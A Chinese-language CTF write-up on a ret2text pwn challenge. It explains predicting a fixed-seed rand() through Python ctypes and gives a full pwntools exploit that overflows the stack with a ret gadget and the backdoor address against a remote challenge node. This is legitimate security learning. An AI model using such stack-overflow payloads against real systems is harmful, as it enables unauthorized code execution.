伪随机数以及ctypes库的初步接触
目录
前言
一、题目
二、解题思路
三、exp
总结
前言
一道简单的ret2text,加上一些伪随机的知识,对于本蒟蒻萌新来说,比较新,值得记录。
一、题目
栈溢出保护、PIE保护都没有开。反汇编后重点如下:
二、解题思路
既然有后门函数,那就想着ret2text就好啦。然而外部可直接写的buf,无法覆写ret。所以实际可栈溢出利用的部分是V0==rand()时if内部的read。然而随机数我们怎么知道呢?——伪随机
当种子一定时,所产生的随机数序列是确定的。可以说srand后的随机数序列是伪随机数。这也是为什么我们在一般编程的时候,随机数种子一般取当前时刻的原因。
——因此我们只需要复现该随机数种子下的随机数即可。
——然而,因为随机函数多种多样,实现方式也各有差异。因此,如果能调用程序使用的随机函数,就可以完美结局这个问题。
这里,参考大神们的解题方法:python的ctypes库
详细可参考:
Python --- ctypes库的使用_擒贼先擒王的博客-CSDN博客
Python 使用 ctypes 调用 C/C++ DLL 动态链接库_ctypes.cdll___弯弓__的博客-CSDN博客
这里试着调用库libc.so.6,来实现rand函数。此外就是经典的ret2text了
三、exp
from pwn import *
from pwn import p64
from ctypes import *
context(arch="amd64",os='linux',log_level="debug")
my_libc=cdll.LoadLibrary('libc.so.6')
my_libc.srand(0x39)
io=process('./pwn')
io=remote('node1.anna.nssctf.cn',28206)
io.recvuntil(b'name')
payload=str(my_libc.rand()).encode('utf-8')
io.sendline(payload)
io.recvuntil(b'next?\n')
payload=b'a'*(64+8)+p64(0x40028b)+p64(0x4008b2)
#0x40028b是ret;指令的地址,用于调整栈为16字节对齐,这是调用system函数的要求
#0x4008b2是后门函数的地址
io.send(payload)
io.interactive()
总结
伪随机数以及ctypes库的使用!